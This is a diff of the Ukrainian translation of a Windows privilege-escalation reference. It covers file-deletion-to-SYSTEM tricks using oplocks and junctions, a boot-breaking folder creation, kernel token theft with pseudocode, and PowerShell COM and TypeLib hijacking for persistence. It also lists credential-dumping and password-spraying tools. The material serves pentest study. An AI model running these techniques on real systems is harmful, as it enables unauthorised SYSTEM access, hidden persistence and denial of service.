binary** (наприклад, `osk.exe`), який завантажує перехоплену DLL. +- **Бум**: ваш код виконується **як SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Від довільного видалення/переміщення/перейменування файлу до SYSTEM EoP -Основна техніка MSI rollback (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що, якщо ваша вразливість дозволяє лише **довільне видалення файлу**? +Основна техніка rollback для MSI (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що якщо ваша вразливість дозволяє лише **довільне видалення файлу**? -Ви можете експлуатувати внутрішню структуру NTFS: у кожної папки є прихований alternate data stream, який називається: +Ви можете експлуатувати **внутрішню будову NTFS**: кожна папка має прихований альтернативний потік даних під назвою: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Цей потік зберігає **індексні метадані** папки. -Отже, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видаляє всю папку** з файлової системи. +Тому, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видалить всю папку** з файлової системи. -Цього можна зробити за допомогою стандартних API для видалення файлів, наприклад: +Ви можете зробити це за допомогою стандартних API для видалення файлів, наприклад: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Навіть якщо ви викликаєте *file* delete API, воно **видаляє саму папку**. +> Хоча ви викликаєте *file* delete API, воно **видаляє саму папку**. -### Від Folder Contents Delete до SYSTEM EoP -Що робити, якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видалення *вмісту* папки, контрольованої атакуючим**? +### Від видалення вмісту папки до SYSTEM EoP +Що, якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видаляти *вміст* папки, контрольованої атакуючим**? -1. Крок 1: Створіть папку-приманку та файл -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. Крок 1: Налаштуйте пастку — папку та файл +- Створіть: `C:\temp\folder1` +- Всередині: `C:\temp\folder1\file1.txt` -2. Крок 2: Розмістіть **oplock** на `file1.txt` +2. Крок 2: Встановіть **oplock** на `file1.txt` - Цей oplock **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Крок 3: Виклик процесу SYSTEM (наприклад, `SilentCleanup`) -- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їх вміст. -- Коли він доходить до `file1.txt`, **oplock спрацьовує** і передає керування вашому callback'у. +3. Крок 3: Спровокуйте процес SYSTEM (наприклад, `SilentCleanup`) +- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їхній вміст. +- Коли він доходить до `file1.txt`, **oplock triggers** і передає контроль вашому callback. -4. Крок 4: Усередині oplock callback – перенаправлення видалення +4. Крок 4: Всередині oplock callback – перенаправте видалення -- Варіант A: Перемістити `file1.txt` в інше місце -- Це спустошує `folder1`, не порушуючи oplock. -- Не видаляйте `file1.txt` безпосередньо — це передчасно звільнить oplock. +- Варіант A: Перемістіть `file1.txt` в інше місце +- Це очищує `folder1`, не порушуючи oplock. +- Не видаляйте `file1.txt` безпосередньо — це передчасно зніме oplock. -- Варіант B: Перетворити `folder1` у **junction**: +- Варіант B: Перетворіть `folder1` у **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- Варіант C: Створити **symlink** у `\RPC Control`: +- Варіант C: Створити **symlink** в `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Це націлено на NTFS internal stream, який зберігає метадані папки — його видалення видаляє папку. +> Це націлене на внутрішній поток NTFS, який зберігає метадані папки — його видалення видаляє папку. 5. Крок 5: Звільнення oplock -- Процес SYSTEM продовжує і намагається видалити `file1.txt`. -- Але тепер, через junction + symlink, насправді він видаляє: +- SYSTEM process продовжує і намагається видалити `file1.txt`. +- Але тепер, через junction + symlink, він фактично видаляє: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Результат**: `C:\Config.Msi` видаляється SYSTEM. -### Від створення довільної папки до постійного DoS +### Від Arbitrary Folder Create до Permanent DoS -Використайте примітив, який дозволяє вам **створити довільну папку як SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі дозволи**. +Використайте примітив, який дозволяє вам **create an arbitrary folder as SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі права доступу**. -Створіть **папку** (не файл) з ім'ям **критичного Windows driver**, наприклад: +Створіть **папку** (не файл) з іменем **критичного драйвера Windows**, наприклад: ``` C:\Windows\System32\cng.sys ``` - Цей шлях зазвичай відповідає драйверу режиму ядра `cng.sys`. -- Якщо ви **попередньо створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. -- Тоді Windows намагається завантажити `cng.sys` під час старту. -- Windows бачить папку, **не вдається знайти фактичний драйвер**, і **виникає збій або завантаження зупиняється**. -- Не існує **резервного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, ремонту завантаження або доступу до диска). +- Якщо ви **передзаздалегідь створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. +- Тоді Windows намагається завантажити `cng.sys` під час завантаження. +- Він бачить папку, **не вдається отримати доступ до фактичного драйвера**, і це **викликає збій або зупиняє завантаження**. +- Немає **запасного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). ## **Від High Integrity до SYSTEM** ### **Нова служба** -Якщо ви вже працюєте в процесі з High Integrity, шлях до SYSTEM може бути простим — просто **створити та запустити нову службу**: +Якщо ви вже працюєте в процесі High Integrity, шлях до SYSTEM може бути простим — достатньо **створити та запустити нову службу**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Коли створюєте service binary, переконайтеся, що це дійсна служба або що бінарник виконує необхідні дії достатньо швидко, бо якщо це не дійсна служба — він буде вбитий через 20s. +> При створенні service binary переконайтеся, що це дійсно валідна служба або що бінарний файл виконує необхідні дії для запуску як служба, інакше його буде завершено через 20 секунд, якщо це не валідна служба. ### AlwaysInstallElevated -З High Integrity process можна спробувати **увімкнути записи реєстру AlwaysInstallElevated** і **встановити** reverse shell за допомогою _**.msi**_ wrapper.\ -[Більше інформації про ключі реєстру та як встановити _.msi_ пакет тут.](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Якщо у вас є ті token privileges (ймовірно вони присутні в процесі з High Integrity), ви зможете **відкрити майже будь-який процес** (крім protected processes) з привілеєм SeDebug, **скопіювати token** процесу та створити **довільний процес з цим token'ом**.\ -За допомогою цієї техніки зазвичай **вибирають будь-який процес, що працює як SYSTEM з усіма token privileges** (_так, можна знайти SYSTEM процеси без усіх token privileges_).\ -**Ви можете знайти** [**приклад коду, що виконує запропоновану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.** +Якщо у вас є ці token privileges (ймовірно ви знайдете їх в уже існуючому High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з правом SeDebug, **скопіювати token** процесу та створити **довільний процес з цим token**.\ +Використання цієї техніки зазвичай передбачає **вибір будь-якого процесу, що працює як SYSTEM з усіма token privileges** (_так, ви можете знайти SYSTEM процеси без всіх token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Ця техніка використовується meterpreter для ескалації в `getsystem`. Техніка полягає у **створенні pipe та подальшому створенні/зловживанні service, щоб записати в цей pipe**. Потім **server**, який створив pipe з привілеєм **`SeImpersonate`**, зможе **impersonate token** клієнта pipe (сервісу), отримавши SYSTEM привілеї.\ -Якщо хочете [**дізнатися більше про name pipes — прочитайте це**](#named-pipe-client-impersonation).\ -Якщо хочете приклад [**як перейти з high integrity до System за допомогою name pipes — прочитайте це**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з тими правами. Тому Dll Hijacking також корисний для такого типу ескалації привілеїв, і, крім того, значно **легше досяжний з High Integrity process**, оскільки він матиме **write permissions** у папках, з яких завантажуються dll'и.\ -**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.** +Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з тими правами. Тому Dll Hijacking також корисний для такого підвищення привілеїв, і, більш того, набагато **легше досяжний з High Integrity процесу**, оскільки він матиме **права запису** у папках, що використовуються для завантаження dll.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1563,53 +1559,53 @@ sc start newservicename ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Читайте:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Додаткова допомога +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Корисні інструменти +## Useful tools -**Найкращий інструмент для пошуку Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на невірні конфігурації та чутливі файли (**[**перевірте тут**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє на можливі невірні конфігурації та збирає інформацію (**[**перевірте тут**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на невірні конфігурації**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує credentials з Credential Manager. Виявлено.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Виконує password spraying зібраними паролями по домену**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer та man-in-the-middle інструмент.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова енумерація для privesc на Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**\~\~** -- Шукає відомі privesc вразливості (DEPRECATED для Watson)\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на misconfigurations та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє деякі можливі misconfigurations та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевіряє на misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Дістає збережену інформацію сесій PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Дістає credentials з Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилює зібрані паролі по домену**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh це PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер і man-in-the-middle інструмент.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базовий privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потрібні права Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих privesc вразливостей (потрібно скомпілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуках невірних конфігурацій (більше інструмент для збору інформації ніж для privesc) (потрібно скомпілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує credentials з багатьох програм (precompiled exe в github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих privesc вразливостей (потрібно компілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуку misconfigurations (більше інструмент для збору інформації ніж privesc) (потрібно компілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Дістає credentials з багатьох програм (precompiled exe в github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на невірні конфігурації (виконуваний файл precompiled в github). Не рекомендовано. Погано працює в Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих невірних конфігурацій (exe з python). Не рекомендовано. Погано працює в Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на misconfiguration (виконуваний файл precompiled в github). Не рекомендовано. Погано працює в Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих misconfigurations (exe з python). Не рекомендовано. Погано працює в Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього посту (не потребує accesschk для коректної роботи, але може його використовувати). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього посту (не потребує accesschk для коректної роботи але може його використовувати). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і рекомендує робочі експлойти (локально, python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** і рекомендує робочі експлойти (локально, python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і рекомендує працюючі експлойти (локальний python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** і рекомендує працюючі експлойти (локальний python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Потрібно скомпілювати проект, використовуючи коректну версію .NET ([див. це](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб побачити встановлену версію .NET на хості жертви, ви можете виконати: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md index 9cb5f0007..230282f2e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -4,35 +4,35 @@ ## Огляд -Якщо вразливий драйвер експонує IOCTL, який дає атакуючому довільні примітиви kernel read та/або kernel write, підвищення до NT AUTHORITY\SYSTEM часто можна досягти шляхом викрадення SYSTEM access token. Техніка копіює вказівник Token з EPROCESS процесу SYSTEM у EPROCESS поточного процесу. +Якщо вразливий драйвер надає IOCTL, який дає атакуючому примітиви довільного kernel read і/або write, підвищення привілеїв до NT AUTHORITY\SYSTEM часто можна досягти шляхом викрадення SYSTEM access token. Техніка копіює вказівник Token з EPROCESS процесу SYSTEM у EPROCESS поточного процесу. Чому це працює: -- Кожен процес має структуру EPROCESS, яка містить (серед інших полів) Token (фактично EX_FAST_REF на об’єкт token). -- Процес SYSTEM (PID 4) має token з увімкненими усіма привілеями. -- Замiна EPROCESS.Token поточного процесу на вказівник SYSTEM token негайно змушує поточний процес працювати як SYSTEM. +- Кожен процес має структуру EPROCESS, яка містить (серед інших полів) Token (фактично EX_FAST_REF до token object). +- Процес SYSTEM (PID 4) має token з усіма дозволами. +- Замінюючи EPROCESS.Token поточного процесу на вказівник SYSTEM token, поточний процес одразу починає виконуватися як SYSTEM. -> Зсуви у EPROCESS змінюються між версіями Windows. Визначайте їх динамічно (symbols) або використовуйте константи для конкретних версій. Також пам’ятайте, що EPROCESS.Token — це EX_FAST_REF (нижні 3 біти — прапорці лічильника посилань). +> Offsets у EPROCESS відрізняються між версіями Windows. Визначайте їх динамічно (symbols) або використовуйте константи для конкретної версії. Також пам’ятайте, що EPROCESS.Token — це EX_FAST_REF (нижні 3 біти — прапорці лічильника посилань). ## Основні кроки -1) Знайдіть базу ntoskrnl.exe та визначте адресу PsInitialSystemProcess. -- З user mode використовуйте NtQuerySystemInformation(SystemModuleInformation) або EnumDeviceDrivers, щоб отримати бази завантажених драйверів. -- Додайте зсув PsInitialSystemProcess (із symbols/reversing) до бази kernel, щоб отримати його адресу. -2) Прочитайте вказівник за PsInitialSystemProcess → це kernel-вказівник на EPROCESS процесу SYSTEM. -3) З EPROCESS процесу SYSTEM прочитайте зсуви полів UniqueProcessId та ActiveProcessLinks, щоб пройти по двозв’язному списку структур EPROCESS (ActiveProcessLinks.Flink/Blink), поки не знайдете EPROCESS, у якого UniqueProcessId дорівнює GetCurrentProcessId(). Збережіть обидва: -- EPROCESS_SYSTEM (for SYSTEM) -- EPROCESS_SELF (for the current process) -4) Прочитайте значення token процесу SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). -- Зануліть (маскуйте) нижні 3 біти: Token_SYS_masked = Token_SYS & ~0xF (звичайно ~0xF або ~0x7 залежно від збірки; на x64 використовуються нижні 3 біти — маска 0xFFFFFFFFFFFFFFF8). -5) Варіант A (поширений): Збережіть нижні 3 біти з вашого поточного token і пришийте їх до вказівника SYSTEM, щоб зберегти узгодженість вбудованого лічильника посилань. +1) Знайти base ntoskrnl.exe і отримати адресу PsInitialSystemProcess. +- З user mode використайте NtQuerySystemInformation(SystemModuleInformation) або EnumDeviceDrivers, щоб отримати бази завантажених драйверів. +- Додайте офсет PsInitialSystemProcess (із symbols/reversing) до kernel base, щоб отримати його адресу. +2) Прочитати вказівник за PsInitialSystemProcess → це kernel pointer на EPROCESS SYSTEM. +3) З EPROCESS SYSTEM прочитати UniqueProcessId і ActiveProcessLinks offsets та пройти по двобічному зв’язаному списку структур EPROCESS (ActiveProcessLinks.Flink/Blink), доки не знайдете EPROCESS, у якого UniqueProcessId дорівнює GetCurrentProcessId(). Збережіть обидва: +- EPROCESS_SYSTEM (для SYSTEM) +- EPROCESS_SELF (для поточного процесу) +4) Прочитати системний token: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Замаскуйте нижні 3 біти: Token_SYS_masked = Token_SYS & ~0xF (звично ~0xF або ~0x7 залежно від збірки; на x64 використовуються нижні 3 біти — маска 0xFFFFFFFFFFFFFFF8). +5) Option A (common): Збережіть нижні 3 біти з вашого поточного token і приєднайте їх до вказівника SYSTEM, щоб зберегти консистентність вбудованого ref count. - Token_ME = *(EPROCESS_SELF + TokenOffset) - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) 6) Запишіть Token_NEW назад у (EPROCESS_SELF + TokenOffset) за допомогою вашого kernel write примітиву. -7) Ваш поточний процес тепер — SYSTEM. За бажанням запустіть cmd.exe або powershell.exe, щоб перевірити. +7) Ваш поточний процес тепер SYSTEM. За бажанням запустіть новий cmd.exe або powershell.exe для підтвердження. ## Псевдокод -Нижче скелет, який використовує лише два IOCTL з вразливого драйвера: один для 8-byte kernel read і один для 8-byte kernel write. Замініть на інтерфейс вашого драйвера. +Нижче наведено скелет, який використовує лише два IOCTL з вразливого драйвера: один для 8-байтового kernel read і один для 8-байтового kernel write. Replace with your driver’s interface. ```c #include #include @@ -107,15 +107,15 @@ return 0; ``` Примітки: - Зсуви: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly. -- Маска: На x64 токен — EX_FAST_REF; нижні 3 біти — біти лічильника посилань. Збереження початкових молодших бітів вашого токена уникне негайних невідповідностей refcount. -- Стабільність: Надавайте перевагу підвищенню привілеїв поточного процесу; якщо ви підвищите привілеї короткоживучого допоміжного процесу, при його завершенні ви можете втратити SYSTEM. +- Маска: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies. +- Стабільність: Віддавайте перевагу підвищенню привілеїв поточного процесу; якщо підвищити привілеї короткоживучого допоміжного процесу, ви можете втратити SYSTEM коли він завершиться. ## Виявлення та пом'якшення -- Завантаження непідписаних або ненадійних драйверів сторонніх розробників, які надають потужні IOCTLs, є першопричиною. -- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules можуть запобігти завантаженню вразливих драйверів. -- EDR може відслідковувати підозрілі послідовності IOCTL, які реалізують arbitrary read/write, а також token swaps. +- Завантаження непідписаних або ненадійних драйверів сторонніх розробників, які надають потужні IOCTLs, є кореневою причиною. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard та правила Attack Surface Reduction можуть запобігти завантаженню вразливих драйверів. +- EDR може спостерігати за підозрілими послідовностями IOCTL, які реалізують arbitrary read/write, а також за token swaps. -## Джерела +## Посилання - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 187695366..48551c034 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,21 +4,21 @@ ### Пошук неіснуючих COM компонентів -Оскільки значення HKCU можуть бути змінені користувачами, **COM Hijacking** може бути використаний як **механізм персистентності**. За допомогою `procmon` легко знайти записи реєстру COM, які шукаються, але не існують, і які атакуючий може створити для досягнення персистентності. Фільтри: +Оскільки значення HKCU можуть змінюватись користувачами, **COM Hijacking** може бути використаний як **постійний механізм**. Використовуючи `procmon`, легко знайти запити до COM записів реєстру, яких не існує, і які атакуючий може створити для персистенції. Фільтри: - **RegOpenKey** операції. -- де _Result_ — **NAME NOT FOUND**. +- де _Result_ має значення **NAME NOT FOUND**. - і _Path_ закінчується на **InprocServer32**. -Після того, як ви вирішили, який неіснуючий COM імітувати, виконайте наступні команди. _Будьте обережні, якщо ви вирішите імітувати COM, який завантажується кожні кілька секунд — це може бути надмірним._ +Після того як ви вирішили, який неіснуючий COM підробити, виконайте наступні команди. _Будьте обережні, якщо вирішите підробити COM, який завантажується кожні кілька секунд — це може бути надмірним._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" ``` -### Hijackable Task Scheduler COM components +### COM-компоненти Task Scheduler, які можна перехопити -Windows Tasks використовують Custom Triggers для виклику COM objects, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони спрацюють. +Завдання Windows використовують Custom Triggers для виклику COM-об'єктів, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони будуть спрацьовувати.
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]
-Перевіряючи вивід, ви можете вибрати завдання, яке, наприклад, буде виконуватися **кожного разу, коли користувач входить у систему**. +Переглянувши вивід, можна вибрати той, який виконуватиметься, наприклад, **кожного разу при вході користувача в систему**. -Якщо тепер шукати CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** в **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, зазвичай ви виявите, що значення не існує в HKCU. +Тепер, шукаючи CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** у **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, зазвичай ви знайдете, що значення не існує в HKCU. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,32 +72,32 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -Тоді ви можете просто створити запис у HKCU — і щоразу при вході користувача ваш backdoor буде запущено. +Потім ви просто створюєте запис у HKCU, і щоразу, коли користувач входить у систему, ваш backdoor буде спрацьовувати. --- ## COM TypeLib Hijacking (script: moniker persistence) -Type Libraries (TypeLib) визначають COM-інтерфейси й завантажуються через `LoadTypeLib()`. Коли COM-сервер інстанціюється, ОС також може завантажити пов'язаний TypeLib, звернувшись до ключів реєстру під `HKCR\TypeLib\{LIBID}`. Якщо шлях TypeLib замінити на **moniker**, наприклад `script:C:\...\evil.sct`, Windows виконає scriptlet при розв'язанні TypeLib — це дає приховану персистентність, яка спрацьовує, коли зачіпаються загальні компоненти. +Type Libraries (TypeLib) визначають COM-інтерфейси та завантажуються через `LoadTypeLib()`. Коли COM-сервер інстанціюється, ОС також може завантажити пов'язану TypeLib, звернувшись до ключів реєстру під `HKCR\TypeLib\{LIBID}`. Якщо шлях до TypeLib замінити на **moniker**, наприклад `script:C:\...\evil.sct`, Windows виконає scriptlet під час розв'язання TypeLib — створюючи приховану персистентність, яка спрацьовує, коли торкаються загальні компоненти. -Це спостерігалося щодо Microsoft Web Browser control (який часто завантажується Internet Explorer, додатками з вбудованим WebBrowser і навіть `explorer.exe`). +Це спостерігалося щодо контролю Microsoft Web Browser (який часто завантажується Internet Explorer, додатками, що вбудовують WebBrowser, і навіть `explorer.exe`). ### Кроки (PowerShell) -1) Визначте TypeLib (LIBID), який використовується CLSID з високою частотою викликів. Приклад CLSID, який часто зловживається в ланцюгах malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +1) Визначте TypeLib (LIBID), який використовується CLSID з високою частотою. Приклад CLSID, який часто зловмисники використовують у malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). ```powershell $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' $ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName "CLSID=$clsid LIBID=$libid VER=$ver" ``` -2) Вкажіть шлях TypeLib для кожного користувача на локальний scriptlet, використовуючи монікер `script:` (права адміністратора не потрібні): +2) Вкажіть per-user 